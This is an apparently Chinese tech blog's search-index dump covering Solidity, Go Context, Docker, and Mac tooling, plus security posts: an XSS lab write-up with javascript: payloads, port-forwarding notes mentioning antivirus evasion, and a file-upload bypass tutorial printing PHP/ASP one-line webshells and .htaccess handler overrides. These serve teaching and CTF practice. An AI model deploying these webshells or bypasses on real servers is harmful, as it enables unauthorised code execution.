,否则会抛出异常\n* 在 **Solidity 0.6.0** 及更高版本中,无数据的以太币转账将触发合约的 **`receive()`** 函数(如果定义了的话),而不是 **`fallback()`** 函数。如果没有定义 **`receive()`** 函数,则会触发 **`fallback()`** 函数\n\n## 交易函数\n\n发送Ether主要有以下几个函数: **`call.value()()`** 、 **`send()`** 、 **`transfer()`**\n\n### **`call.value()()`**\n\n```solidity\naddress.to.call.value(amountInWei)(data)\n\n// `address.to` 是要接收以太币的目标地址\n// `amountInWei` 是要发送的以太币数量,以wei为单位\n// `data` 是要传递给目标地址的调用数据,如果不发送数据,可以省略\n```\n> 在合约中直接发起 **TX** 的函数之一,相当危险\n\n### **`send()`**\n\n```solidity\naddress.send(uint256 amount);\n\n// `address` 是接收以太币的目标地址\n// `amount` 是要发送的以太币数量,以wei为单位\n```\n> 通过该函数发送Ether失败时直接返回 `false`\n>\n> **`send()`** 的目标如果是合约账户,则会尝试调用它的 `fallback()` 函数, `fallback()` 函数执行失败,会直接返回 `false` ,但只提供 2300 Gas 给 `fallback()` ,所以可以防止重入漏洞\n\n### **`transfer()`**\n\n```solidity\naddress.transfer(uint256 amount);\n\n// `address` 是接收以太币的目标地址\n// `amount` 是要发送的以太币数量,以wei为单位\n```\n> **`transfer()`** 是一个较为安全的转币函数,该函数调用没有返回值,当发送失败时(例如,由于 gas 不足或接收函数抛出异常)会自动回滚状态,抛出异常。如果目标是一个合约账户,它会尝试执行合约的接收函数( `fallback()` 函数),并且只会传递 2300 Gas 用于 `fallback()` 函数执行,这可以防止因 gas 不足而导致的转账失败。\n\n## 自定义修饰符\n\n自定义修饰符(**Modifiers**)用于在函数执行前和/或执行后修改函数的行为\n\n* 定义修饰符:\n```solidity\nmodifier ModifierName(parameters) {\n // 在函数执行前的代码,如 `require(msg.sender == owner);` \n _; // 占位符\n // 在函数执行后的代码\n}\n```\n\n> **`ModifierName`** 是修饰符的名称,可以自定义\n>\n> **`parameters`** 可选,用于传递参数给修饰符,通常用于指定某些条件\n>\n> **`_`** 是占位符,表示函数的实际逻辑将在此执行。如果修饰符通过了所有条件检查,那么 _ 中的代码将在函数执行之前和之后执行\n\n* 在函数中应用修饰符\n```solidity\nfunction functionName(parameters) public ModifierName(parameters) {\n // 函数的实际逻辑\n}\n```\n\n> 只需要在函数声明之前加上修饰符名称,就可以将其应用于该函数\n\n## Ethererum IDE\n\n在线IDE:[Remix](https://remix.ethereum.org/)\n\n离线版Remix:[Remix | github](https://github.com/ethereum/remix-ide)\n\n# TODO\n\n- 整理学习Solidity常见漏洞类型\n- 学习 Remix-ide","tags":["Blockchain"]},{"title":"MAC多环境管理","url":"/2023/08/23/env-version/","content":"# MAC多环境管理\n\n因为这段时间下了很多工具,有的工具需要用到不同版本的java,所以搞了一下MAC版本下的java环境管理,完事后突然忘了conda管理python环境的命令是什么了,每次用的时候需要查感觉很麻烦,于是打算在这里整理一下\n\n## java\n\nMAC管理java版本的工具是 **jenv** ,通过brew下载\n\n下载完后需要在 **.bash_profile** 配置环境变量\n\n```bash\n# 完整的.bash_profile 配置\nJAVA_HOME=`/usr/libexec/java_home`\nPATH=$JAVA_HOME/bin:$PATH:.\nCLASSPATH=$JAVA_HOME/lib/tools.jar:$JAVA_HOME/lib/dt.jar:.\nexport JAVA_HOME\nexport CLASSPATH \nexport PATH=\"$HOME/.jenv/bin:$PATH\"\neval \"$(jenv init -)\n```\n\n### 加入虚拟环境\n\n之后下载的不同版本java,就可以使用下面的命令加入虚拟环境中:\n\n```bash\njenv add /Library/Java/JavaVirtualMachines/jdk1.8.0_162.jdk/Contents/Home\njenv add /Library/Java/JavaVirtualMachines/jdk-9.0.1.jdk/Contents/Home\n```\n\n### 查看已添加的java版本\n\n```bash\njenv versions\n```\n\n### 全局更改java版本\n\n```bash\njenv global oracle64-1.8.0.162\n```\n\n### 更改当前项目的java版本:\n\n```bash\njenv local oracle64-1.8.0.162\n```\n\n它的作用是只更改当前路径下项目的java版本,效果如下:\n![Java-env-local](env-version/java-local.jpg)\n\n### 更改当前shell的java版本\n\n```bash\njenv shell oracle64-1.8.0.162\n```\n\n## python\n\n这里使用的python的环境管理工具是 **conda** ,它的优点是功能很多,缺点是就Python包管理而言,太重\n\n除此之外的python管理工具还有:\n* **venv** - 官方推荐的多环境管理工具,不需要安装任何第三方库就可以实现多环境管理\n* **virtualenv** - venv 的增强版本\n* **pyenv** - 管理系统上的多个版本的Python解释器\n\n### 创建新的python环境\n\n```bash\nconda create -n env_name python=2.7\n```\n\n### 查看所有环境\n\n```bash\nconda env list\n```\n\n### 环境切换\n\n```bash\nconda activate env_name\n```\n### 退出环境\n\n```bash\nconda deactivate\n```","tags":["common"]},{"title":"Vscode - MAC快捷键","url":"/2023/08/12/mac-Shortcut-keys/","content":"\n# MAC常用快捷键 For Vscode\n\n* 选中当前行\n \n `cmd + l`\n\n* 选中当前选择单词的所有匹配项\n\n `cmd + shift + l`\n\n* 光标移动到当前行最前面\n\n `cmd + left`\n\n* 光标移动到当前行最后面\n\n `cmd + right`\n\n* 添加光标(上下左右)\n\n `cmd + shift + option + 上下左右`\n\n* 删除光标当前行前的所有字符\n\n `cmd + delete`\n\n* 删除光标当前行后的所有字符\n\n `cmd + fn + delete`\n\n* 跳转到函数定义处\n\n `F12`\n\n* 跳转到函数实现处\n\n `cmd + F12`\n\n## 调试\n\n* 启动调试\n\n `F5`\n\n* 打断点/取消断点\n\n `F9`\n\n* 单步执行\n\n `F10`\n\n* 单步进入\n\n `F11`","tags":["Common"]},{"title":"GO入门(1) - goroutine & Context","url":"/2023/08/10/goroutine/","content":"\n# goroutine\n\nGo语言的特色之一就是支持协程。协程是一种轻量级的线程,其在操作系统中通常被称为用户态线程,因为它们是由用户程序自己实现的,而不是由操作系统内核实现的。与传统的线程相比,协程具有以下优点:占用资源少、切换成本低、并发操作高效。\n\n在程序启动时,Go 运行时系统会创建一个**主协程**,该协程负责程序的初始化和启动。在程序运行过程中,通过 **`go`** 关键字可以创建新的协程。主协程和新协程可以并行执行,互不影响。\n\n``````go\nfunc main(){\n go func(){\n //协程代码\n }()\n //主协程代码\n}\n``````\n\n## 主协程\n\n封装 `main` 函数的goroutine称为主goroutine\n\n主goroutine会进行一系列的初始化工作:\n\n1. 创建一个特殊的 `defer` 语句,用于在主goroutine退出时做必要的善后处理。因为主goroutine也可能非正常的结束\n2. 启动专用于在后台清扫内存垃圾的goroutine,并设置GC可用的标识\n3. 执行 `mian` 包中的 `init` 函数\n4. 执行 `mian` 函数\n\n## CSP(communicating sequential processes)并发模型\n\n不同于传统的多线程通过共享内存来通信,CSP讲究的是“以通信的方式来共享内存”\n\nGo的CSP并发模型,是通过 **goroutine** 和 **channel** 来实现的\n\n**channel** 是Go语言中各个并发结构体(goroutine)之间的通信机制。 通俗的讲,就是各个goroutine之间通信的”管道“,有点类似于Linux中的管道。传数据用 **`channel <- data`** ,取数据用 **`<-channel`**\n\n```go\npackage main\n\nimport \"fmt\"\n\nfunc main() {\n \n messages := make(chan string)\n //创建了一个通道(channel)变量,通道的类型是`string`\n go func() { messages <- \"ping\" }()\n\n msg := <-messages\n fmt.Println(msg)\n}\n```\n\n# Context\n\n- Context只有两个功能,跨API或者进程间:\n * 携带键值对\n * 传递取消信号(主动取消、时限/超时自动取消)\n\n* Context创建空上下文方式:\n * **`context.Background()`** - context的默认值,所有的context都应该从它衍生出来\n * **`context.TODO()`** - 不确定要使用哪个上下文时,可以将其用作占位符\n\n* Context 有四个 **`with`** 系列函数进行派生:\n```go\nfunc WithCancel(parent Context) (ctx Context, cancel CancelFunc)\nfunc WithDeadline(parent Context, deadline time.Time) (Context, CancelFunc)\nfunc WithTimeout(parent Context, timeout time.Duration) (Context, CancelFunc)\nfunc WithValue(parent Context, key, val interface{}) Context\n```\n\n这四个函数都基于 **父Context** 衍生,通过这些函数,就创建了一颗Context树,树的每个节点都可以有任意多个子节点,节点层级可以有任意多个,如下图:\n\n![Context tree](goroutine/context_tree.jpg)\n\n## `WithValue()`\n\n**`WithValue()`** 函数可以让Context实现携带键值对的功能。该函数传入的 Context 是 **parent Context** 。返回的 Context 与其是**派生关系**。(相当于上面 Context tree 的子节点)\n\n例子:\n```go\nfunc main() {\n\ta := context.Background() // 创建上下文\n\tb := context.WithValue(a, \"k1\", \"v1\") // 塞入一个kv\n\tc := context.WithValue(b, \"k2\", \"v2\") // 塞入另外一个kv\n\td := context.WithValue(c, \"k1\", \"vo1\") // 覆盖一个kv\n\n\tfmt.Printf(\"k1 of b: %s\\n\", b.Value(\"k1\"))\n\tfmt.Printf(\"k1 of d: %s\\n\", d.Value(\"k1\"))\n\tfmt.Printf(\"k2 of d: %s\\n\", d.Value(\"k2\"))\n}\n```\n输出如下:\n```go\nk1 of b: v1\nk1 of d: vo1\nk2 of d: v2\n//在获取键值对时,会先从当前context中查找,没有找到会在从父context中查找该键对应的值直到在某个父context中返回 nil 或者查找到对应的值\n```\n\n## 超时控制\n\n**`withTimeout()`** 和 **`withDeadline()`** 来做超时控制,它俩的作用是一样的,就是传递的时间参数不同。它们都通过传入的时间来自动取消Context,要注意的是它们都会返回一个 **`cancelFunc`** 方法,通过调用这个方法可以达到提前进行取消,不过在使用的过程还是建议在自动取消后也调用 **`cancelFunc`** 去停止定时减少不必要的资源浪费。\n\n```go\nfunc main() {\n HttpHandler1()\n}\n\nfunc NewContextWithTimeout1() (context.Context,context.CancelFunc) {\n return context.WithTimeout(context.Background(), 3 * time.Second)\n}\n\nfunc HttpHandler1() {\n ctx, cancel := NewContextWithTimeout1()\n defer cancel() //超时自动取消\n deal1(ctx, cancel)\n}\n\nfunc deal1(ctx context.Context, cancel context.CancelFunc) {\n for i:=0; i< 10; i++ {\n time.Sleep(1*time.Second)\n select {\n case <- ctx.Done():\n fmt.Println(ctx.Err())\n return\n default:\n fmt.Printf(\"deal time is %d\\n\", i)\n cancel() //手动控制取消\n }\n }\n}\n\n```\n\n输出结果如下:\n\n```go\ndeal time is 0\ncontext canceled\n```\n\n## `WithCancel()`\n\n日常业务开发中往往为了完成一个复杂的需求会开多个gouroutine去做一些事情,这就导致一次请求中开了多个goroutine却无法控制他们,这时我们就可以使用 **`withCancel`** 来衍生一个context传递到不同的goroutine中,当我想让这些goroutine停止运行,就可以调用 **`cancel`** 来进行取消。\n\n### `Done()`\n\n**`Done()`** 函数确认上下文是否完成,无论上下文是因为什么原因结束的,都可以通过调用其 **`Done()`** 方法确认:该方法会返回一个通道(chan),该通道会在上下文完成时被关闭,任何监听该通道的函数都会感应到对应上下文完成的事件。\n* 没有关闭的时候, **`case <- ctx.Done()`** 会阻塞住\n* 关闭之后,每次 **`<- ctx.Done()`** 都会返回一个零值\n\n```go\nfunc main() {\n ctx,cancel := context.WithCancel(context.Background())\n go Speak(ctx) //启动一个讲话程序,每隔1s说一话\n time.Sleep(10*time.Second) \n cancel() //main函数在10s后执行cancel,speak检测到取消信号就会退出\n time.Sleep(1*time.Second)\n}\n\nfunc Speak(ctx context.Context) {\n for range time.Tick(time.Second){\n select {\n case <- ctx.Done(): //监听上下文的取消信号\n fmt.Println(\"我要闭嘴了\")\n return\n default:\n fmt.Println(\"balabalabalabala\")\n }\n }\n}\n```\n\n输出结果如下:\n\n```go\nbalabalabalabala\nbalabalabalabala\n....\nbalabalabalabala\n我要闭嘴了\n```\n\n### `Err()``\n\n**`Err()`** 函数返回上下文结束的原因,如果上下文没有结束,返回 `nil` ,如果上下文已经结束,获取上下文错误","tags":["GO"]},{"title":"Docker入门","url":"/2023/04/15/Docker/","content":"\n# 一些资料\n[安装、概念、操作](https://yeasy.gitbook.io/docker_practice/)\n\n[官方仓库](https://hub.docker.com/)\n\n[docker-compose 常用命令](https://www.cnblogs.com/moxiaoan/p/9299404.html)\n\n[docker.io 和 docker-ce 的区别](https://blog.csdn.net/harryhare/article/details/106015022)\n\n# 镜像基础\n\n## 常用命令\n\n* 获取镜像\n```bash\ndocker pull --help\ndocker pull ubuntu:18.0.4\n\n# 如果命令没有给出Docker镜像仓库的地址,会默认从DockerHub(docker.io)获取镜像\n```\n\n* 运行\n```bash\ndocker run -it --rm ubuntu:18.0.4 bash\n\n# -i: 交互操作; -t: 终端\n# --rm: 容器退出后随之将其删除,如果只是看看结果不需要排障和保留结果,这个命令可以避免浪费空间\n# bash: 放在镜像后的是命令,这里希望有个交互式的Shell,因此使用bash\n```\n\n* 列出镜像\n```bash\ndocker image ls\ndocker image ls ubuntu\ndocker image ls ubuntu:18.04\ndocker image ls -f since=mongo:3.2\ndocker image ls --format \"{{.ID}}: {{.Repository}}\" # 只列出镜像ID和仓库名\ndocker image ls --format \"table {{.ID}}\\t{{.Repository}}\\t{{.Tag}}\" # 表格等距显示\n```\n\n* 查看镜像、容器、数据卷所占空间\n```bash\ndocker system df\n```\n\n* 删除镜像\n```bash\ndocker image rm 501 # 一般输入ID前3个字符以上就行\ndocker image rm centos\n```\n\n# 容器基础\n\n当使用**docker run**来创建容器时,Docker在后台运行的标准操作包括:\n* 检查本地是否存在指定的镜像,不存在就从 registry 下载\n* 利用镜像创建并启动一个容器\n* 分配一个文件系统,并在只读的镜像层外面挂载一层可读写层\n* 从宿主主机配置的网桥接口中桥接一个虚拟接口到容器中去\n* 从地址池配置一个 ip 地址给容器\n* 执行用户指定的应用程序\n* 执行完毕后容器被终止\n\n## 常用命令\n\n* 新建并启动\n```bash\ndocker run ubuntu:18.0.4 /bin/echo 'hello world'\n\nHello world\n```\n\n* 启动一个bash终端,允许用户交互\n```bash\ndocker run -it ubuntu:18.0.4 /bin/bash\n```\n\n* 后台运行而不是把执行命令结果输出在当前宿主机下\n```bash\n$ docker run -d ubuntu:18.04 /bin/sh -c \"while true; do echo hello world; sleep 1; done\"\n\n77b2dc01fe0f3f1265df143181e7b9af5e05279a884f4776ee75350ea9d8017a\n\n# 输出结果可以用docker logs查看\n```\n\n* 查看容器信息\n```bash\ndocker container ls -a\n```\n\n* 查看容器状态\n```bash\ndocker ps -a\n```\n\n* 获取容器输出信息\n```bash\ndocker container logs [container ID or NAMES]\n\nhello world\nhello world\nhello world\n...\n```\n* 终止运行中的容器\n```bash\ndocker container stop [container ID or NAME]\n```\n\n* 启动一个终止状态的容器\n```bash\ndocker container start [container ID or NAME]\ndocker container restart [container ID or NAME]\n```\n\n* 进入一个容器\n```bash\ndocker attach 243c\ndocker exec -it 69d1 bash \n\n# 推荐使用docker exec,原因在于attach命令如果exit的化,会导致容器停止,而exec的话不会停止容器\n```\n\n* 导出本地容器\n```bash\n$ docker container ls -a\nCONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES\n7691a814370e ubuntu:18.04 \"/bin/bash\" 36 hours ago Exited (0) 21 hours ago test\n\n$ docker export 7691a814370e > ubuntu.tar\n```\n\n* 从容器快照文件中导入为镜像\n```bash\n$ cat ubuntu.tar | docker import - test/ubuntu:v1.0\n\n$ docker image ls\nREPOSITORY TAG IMAGE ID CREATED VIRTUAL SIZE\ntest/ubuntu v1.0 9d37a6082e97 About a minute ago 171.3 MB\n```\n用户既可以使用**docker load**来导入镜像存储文件到本地镜像库,也可以使用**docker import**来导入一个容器快照到本地镜像库。这两者的区别在于容器快照文件将丢弃所有的历史记录和元数据信息(即仅保存容器当时的快照状态),而镜像存储文件将保存完整记录,体积也要大。此外,从容器快照文件导入时可以重新指定标签等元数据信息\n\n* 删除容器\n```bash\ndocker container rm trusting_newton\n```\n\n# Dockfile 定制镜像\n\n**Dockerfile** 是一个文本文件,其内包含了一条条的指令(Instruction),每一条指令构建一层,因此每一条指令的内容,就是描述该层应当如何构建\n\n## FROM 指定基础镜像\n\n**FROM** 是一个Dockerfile中必备的第一条指令\n```docker\nFROM ubuntu:22.04\n```\n\n## RUN 执行命令\n\n**RUN** 指令用来执行命令行命令\n\n```docker\nRUN wget https://github.com/Dreamacro/clash/releases/download/v1.13.0/clash-linux-arm64-v1.13.0.gz \\\n && gzip -d clash-linux-arm64-v1.13.0.gz \\\n && chmod +x clash-linux-arm64-v1.13.0 \\\n```\n\n由于Dockerfile中的每一个指令都会建立一层。每一个 **RUN** 的行为也会新建一层,然后再其上执行命令,在编写 **Dockfile** 文件的时候,应该注意不要建立太多层,这样会导致产生非常臃肿、非常多层的镜像,不仅仅增加了构建部署的时间,也很容易出错\n\n## COPY 复制文件\n\n```docker\nCOPY package.json /usr/src/app/\n\n# 从构建上下文目录中 <源路径> 的文件/目录复制到新的一层的镜像内的 <目标路径> 位置\n```\n\n* 通配符指定源路径\n```docker\nCOPY hom* /mydir/\nCOPY hom?.txt /mydir/\n\n# 通配符规则要满足 Go 的 filepath.Match 规则\n```\n\n## CMD 容器启动命令\n\n**CMD** 指令用于指定默认的容器主进程的启动命令\n\n```docker\nCMD echo $HOME # shell格式\nCMD [ \"sh\", \"-c\", \"echo $HOME\" ] # exec格式\n```\n\n## ENV 设置环境变量\n\n```docker\nENV VERSION=1.0 DEBUG=on \\\n NAME=\"Happy Feet\"\n\nENV NODE_VERSION 7.2.0\n```\n\n## Docker Build\n\n```docker\ndocker build -t tgbot:v1 .\n```\n\n使用上面的命令创建镜像,注意命令最后面有一个 **.** ,它表示当前目录\n\n* 直接用 Git repo 进行构建\n```bash\ndocker build -t hello-world https://github.com/docker-library/hello-world.git#master:amd64/hello-world\n```\n\n* 用给定的 tar 压缩包构建\n```bash\ndocker build http://server/context.tar.gz\n```\n\n# 。。。\n\n目前用到的就这么多,后面需要的部分再补这学吧","tags":["docker"]},{"title":"xss-n1book","url":"/2022/12/08/xss-n1book/","content":"\n# XSS的魔力\n\n## Level 2\n\n尝试输入 “asd”,查看源码可以看到\n```html\n<html lang=\"zh\"><head>\n <meta charset=\"UTF-8\">\n <title>XSS配套测试平台</title>\n <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\">\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, maximum-scale=1\">\n <meta http-equiv=\"X-UA-Compatible\" content=\"IE=Edge\">\n <link rel=\"stylesheet\" href=\"https://houtai.baidu.com/v2/csssdk\">\n <script type=\"text/javascript\" src=\"main.js\"></script>\n <style>\n html, body, .app-wrapper {\n position: relative;\n width: 100%;\n height: 100%;\n margin: 0;\n padding: 0;\n }\n </style>\n</head>\n<body>\n <div id=\"root\" class=\"app-wrapper amis-scope\"><div class=\"amis-routes-wrapper\"><div class=\"a-Toast-wrap a-Toast-wrap--topRight\"></div><div class=\"a-Page\"><div class=\"a-Page-content\"><div class=\"a-Page-main\"><div class=\"a-Page-header\"><h2 class=\"a-Page-title\"><span class=\"a-TplField\">XSS test platform</span></h2></div><div class=\"a-Page-body\"><span class=\"a-TplField\">\n \t<div id=\"ccc\">\n \t\t\n \t</div>\n </span></div></div></div></div></div></div>\n <script type=\"text/javascript\">\n \tif(location.search == \"\"){\n \t\tlocation.search = \"?username=xss\"\n \t}\n \tvar username = 'asd';\n \tdocument.getElementById('ccc').innerHTML= \"Welcome \" + escape(username);\n </script>\n\n</body></html>\n```\n\n输出点在script中\n\n只要构造好闭合语句即可\n\n![level2](xss-n1book/level2.png)\n\n## Level 3\n\n第三关和第二关的不同在于 username 没有使用escape()函数进行转义。而在测试输入 asd' 时候发现script处被转义\n\n```html\n<body>\n <div id=\"root\" class=\"app-wrapper amis-scope\"><div class=\"amis-routes-wrapper\"><div class=\"a-Toast-wrap a-Toast-wrap--topRight\"></div><div class=\"a-Page\"><div class=\"a-Page-content\"><div class=\"a-Page-main\"><div class=\"a-Page-header\"><h2 class=\"a-Page-title\"><span class=\"a-TplField\">XSS test platform</span></h2></div><div class=\"a-Page-body\"><span class=\"a-TplField\">\n \t<div id=\"ccc\">\n \t\t\n \t</div>\n </span></div></div></div></div></div></div>\n <script type=\"text/javascript\">\n \tif(location.search == \"\"){\n \t\tlocation.search = \"?username=xss\"\n \t}\n \tvar username = 'asd\\'';\n \tdocument.getElementById('ccc').innerHTML= \"Welcome \" + username;\n </script>\n\n</body>\n```\n\n那么构造的点应该在html的div块处\n\n![level3](xss-n1book/level3.png)\n\n## Level 4\n\njs跳转带来的xss 跳转到伪协议\n\n```\nhttp://172.18.0.2:3000/level4?jumpUrl=javascript:alert()\n```\n\n## Level 5\n\n```html\n<html lang=\"zh\"><head>\n <meta charset=\"UTF-8\">\n <title>XSS配套测试平台</title>\n <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\">\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, maximum-scale=1\">\n <meta http-equiv=\"X-UA-Compatible\" content=\"IE=Edge\">\n <link rel=\"stylesheet\" href=\"https://houtai.baidu.com/v2/csssdk\">\n <script type=\"text/javascript\" src=\"main.js\"></script>\n <style>\n html, body, .app-wrapper {\n position: relative;\n width: 100%;\n height: 100%;\n margin: 0;\n padding: 0;\n }\n </style>\n</head>\n<body>\n <div id=\"root\" class=\"app-wrapper amis-scope\"><div class=\"amis-routes-wrapper\"><div class=\"a-Toast-wrap a-Toast-wrap--topRight\"></div><div class=\"a-Page\"><div class=\"a-Page-content\"><div class=\"a-Page-main\"><div class=\"a-Page-header\"><h2 class=\"a-Page-title\"><span class=\"a-TplField\">XSS test platform</span></h2></div><div class=\"a-Page-body\"><span class=\"a-TplField\">\n \t<div id=\"ccc\">\n \t\t自动提交表单\n \t\t<form action=\"\" method=\"POST\" id=\"autoForm\">\n \t\t\t<input type=\"text\" name=\"test\">\n \t\t\t<input type=\"submit\">\n \t\t</form>\n \t</div>\n </span></div></div></div></div></div></div>\n <script type=\"text/javascript\">\n \tif(getQueryVariable('autosubmit') !== false){\n \t\tvar autoForm = document.getElementById('autoForm');\n \t\tautoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action');\n \t\tautoForm.submit();\n \t}else{\n \t\t\n \t}\n\t\tfunction getQueryVariable(variable)\n\t\t{\n\t\t var query = window.location.search.substring(1);\n\t\t var vars = query.split(\"&\");\n\t\t for (var i=0;i<vars.length;i++) {\n\t\t var pair = vars[i].split(\"=\");\n\t\t if(pair[0] == variable){return pair[1];}\n\t\t }\n\t\t return(false);\n\t\t}\n </script>\n\n</body></html>\n```\n\n表单自动提交 且action可控 控制表单提交到伪协议的地址\n\n```\n/level5?action=javascript:alert()&autosubmit=1\n```\n\n","tags":["web","wp"]},{"title":"内网基础-2","url":"/2022/12/05/内网基础(2)/","content":"\n# 1. 端口转发与代理\n## 1.1 正向连接\n\n由控制端主机主动连接受控端主机\n\n适用于受控主机具有公网IP的情况\n\n## 1.2 反向连接\n\n控制端监听一个端口,由受控端主机反向连接控制端主机\n\n适用于受控端主机没有公网IP的情况\n\n*正向连接往往受限于受控主机上的防火墙屏蔽及权限不足等情况,反向连接可以很好地突破这些限制*\n\n## 1.3 端口转发\n\n端口转发(Port Forwarding)是网络地址转换(NAT)的一种应用。通过端口转发,一个网络端口上收到的数据可以转发给另一个网络端口。转发的端口可以是本机的端口,也可以是其它主机上的端口。\n\n现实环境中,内网部署的各种防火墙和入侵检测设备会检查敏感端口上的连接情况,如果发现连接存在异样,会立即阻断通信。通过端口转发,设置将这个被检测的敏感端口的数据转发到防火墙允许的端口上,建立起一个通信隧道,可以绕过防火墙的检测,并于指定端口进行通信。\n\n端口映射(Port Mapping)也是网络地址转换(NAT)的一种应用,用于把公网的地址翻译成私有地址。端口映射可以将外网主机收到的请求映射到内网主机上,使得没有公网IP地址的内网主机能够对外提供相应的服务。端口映射和端口转发可以看作同一个术语。\n\n## 1.4 SOCKS代理\n\nSOCKS(Protocol For Sessions Traversal Across Firewall Securely),是一种代理协议,其标准端口为1080。其有SOCKS4和SOCKS5两个版本,SOCKS4只支持TCP,而SOCKS5进一步可以支持UDP和各种身份验证机制等协议。\n\n采用SOCKS协议的代理服务器称为SOCKS服务器,它在网络通信中扮演一个请求代理人的角色。内网渗透中,通过搭建SOCKS代理,可以与目标内网主机进行通信,避免多次使用端口转发。\n\n# 2. 常见转发与代理工具\n\n## 2.1 LCX\n\n**LCX** 是一款经典的内网端口转发工具,基于Socket套接字,具有端口转发和端口映射的功能。\n\n目前很多杀软已经将LCX加入了特征库,在实际利用时需要自己做免杀处理\n\n## 2.2 FRP\n\n**FRP** 是一个专注于内网穿透的高性能的反向代理应用,支持TCP、UDP、HTTP、HTTPS等协议,可以将内网服务以安全、便捷的方式,通过具有公网IP节点的中转暴露刀公网。内网渗透中, **FRP** 是一款常用的隧道工具。FRP还支持搭建SOCKS5代理应用\n\n\n\n","tags":["intranet"]},{"title":"Web文件上传","url":"/2022/11/26/file-uploads/","content":"\n# 文件上传\n\n## 1. 基础\n\nPHP文件上传通常使用 **move_uploaded_file** 方法配合 **$_FILES** 变量实现\n\n```php\n<?php\n$file = $_FILES['file'];\nmove_uploaded_file($file['tmp_name'],$file['name']);\n?>\n```\n\n### 1.1 小马\n\n* 小马通常指一句话木马,就是一句简单的代码\n* 其主要是为了绕过waf的检测\n* 主要通过GET、POST、COOKIE三种方式提交数据\n* 用 $_GET[]、$_POST[]、$_COOKIE[]接收数据,并把接收到的数据传递给一句话木马中执行命令的函数,进而执行命令\n\n```\nPHP: <?php @eval($_POST['cmd']); ?>\nASP: <% eval request(\"cmd\") %>\n```\n\n### 1.2 大马\n\n代码量较大,功能丰富。每个团队都有自己定制的大马\n\n## 2. 客户端绕过\n\n一般都是在网页上写一段javascript脚本,校验上传文件的后缀名是否合法,有白名单和黑名单两种形式\n\n* 删除浏览器事件\n* 利用Burpsuit抓包修改文件后缀名\n* 构造上传表单\n\n## 3. 截断绕过\n\n### 3.1 00截断\n\n*截断条件*:PHP版本小于5.3.4、magic_quotes_gpc 为OFF状态;Java中,jdk7u40以下版本存在00截断问题\n\nC语言中, **\"\\0\"** 是字符串的结束符,如果用户能够传入 **\"\\0\"** ,就能实现00截断\n\n00截断的场景为:后端先获取用户上传的文件名(如 x.php\\00.jpg),再根据文件名获得实际后缀为jpg。通过后缀白名单校验后,在实际保存文件时发生截断,使得最终保存的文件为 x.php。\n\n*注意*:PHP在使用 **$_FILES** 实现文件上传时并不存在00截断问题,这是由于PHP的底层语言为*C语言*,在注册 **$_FILES** 全局变量时已经产生了截断。(如上传文件名为 x.php\\00.jpg 的文件,而注册到 $_FILES 全局变量值为 x.php)\n\n### 3.2 转换字符集造成的截断\n\n*截断条件*:PHP版本小于5.4\n\n虽然PHP的 **$_FILES** 文件上传不存在00截断问题,不过在文件名进行**字符集转换**的场景下也可能出现截断绕过。\n\nPHP在实现字符集转换时通常使用 **iconv()** 函数,UTF-8在单字节时允许的字符范围为 **0x00-0x7F** ,如果转换的字符不在该范围内,则会造成 **PHP_ICONV_ERR_ILLEGAL_SEQ** 异常,低版本PHP在这个异常后不再处理后面字符,因此造成阶段问题\n\n```\n$filename = @iconv(\"utf-8\",\"GBK\",$filename);\n```\n\n适用场景为:现在后端获取上传的文件后缀,经过后缀白名单判断后,如果有对文件名进行**字符集转换**操作,那么可能造成截断问题(如上传 x.php\\x99.jpg ,最终保存的文件名为 x.php)\n\n可以使用burpsuit来对可以利用的字符进行测试\n\n此部分方法应用链接:[Metinfo6 Arbitrary File Upload Via Iconv Truncate](http://www.yulegeyu.com/2019/06/18/Metinfo6-Arbitrary-File-Upload-Via-Iconv-Truncate/)\n\n## 4. 黑名单绕过\n\nPHP常见的可执行后缀:php3、php5、phtml、pht、php1、php2等\n\nASP常见的可执行后缀:cdx、cer、asa、aspx等\n\nJSP常见的可执行后缀:jspx、jspf等\n\n### 4.1 Windows系统特性\n\n```\nfilename=\"1.php.\" // windows会对文件中的点进行自动去除\n```\n\n```\nfilename=\"1.php::$DATA\"\n```\n\n```\nfilename=\"1.php \" // 空格绕过\n```\n\n\nWindows环境下,文件名不区分大小写,而 **in_array** 区分大小写,所以可以尝试大小写后缀名绕过\n\n```\nif(in_array($ext, array('php', 'asp', 'jsp'))){\n exit(\"Forbid!\");\n}\n```\n\n### 4.2 上传 .htaccess 绕过黑名单\n\n**.htaccess** 文件是Apace服务器中的一个配置文件的默认名称(可以在Apache主配置文件中通过 **AccessFileName** 指令修改其名称)。\n\nApache主配置文件中通过 **AllowOverride** 指令配置 **.htaccess** 文件中可以覆盖主配置文件中的那些指令。在低于2.3.8版本中, **AllowOverride** 指令默认为All,在2.3.9及更高版本中默认为None。\n\n\n在低于2.3.8版本中,可以尝试先上传 **.htaccess** 文件修改部分配置,使用 **SetHandler** 指令使PHP解析指定文件\n\n```\n<FilesMatch \"shell\">\n SetHandler application/x-httpd-php\n</FilesMatch>\n\n```\n上面这段代码的意思是,一个文件名只要包含“shell”这个字符串的任意文件,就调用php的解析器来解析\n\n```\n<Files \"Shell.txt\">\n SetHandler application/x-httpd-php\n</Files>\n```\n\n```\nSetHandler application/x-httpd-php .jpg\n\nAddHandler php5-script .php\n\n// AddHandler指令的作用是在文件扩展名与特定的处理器之间建立映射\n```\n\n### 4.3 上传 .user.ini 绕过黑名单\n\n~~PHP 5.3.0 起支持基于每个目录的.htaccess 风格的INI文件,此类文件仅被 CGI/FastCGI SAPI 处理,默认文件名为 **.user.ini** (可以在主配置文件中使用 user_ini.filename 指令修改该配置文件名)。~~\n\n### 4.4 Apache CVE-2017-15715漏洞\n\n在HTTPD 2.4.0到2.4.29版本中, **FilesMatch** 指令正则中 **\"$\"** 能够匹配到换行符,可能导致黑名单绕过\n\n```\n<FilesMatch \\.php$>\n SetHandler application/x-httpd-php\n</FilesMatch>\n```\n\n以上Apache配置,原意是为了只解析以 **.php** 结尾的文件,但由于该漏洞导致 **.php\\n** 结尾的文件也能被解析,因此绕过黑名单。\n\n不过在 PHP **$_FILES** 上传的过程中, **$_FILES['name']** 会清楚 **\"\\n\"** 字符导致不能利用,但是 **file_put_contents** 实现上传的方法可以利用。代码如下\n\n```php\n<?php \n $filename = $_POST['filename'];\n 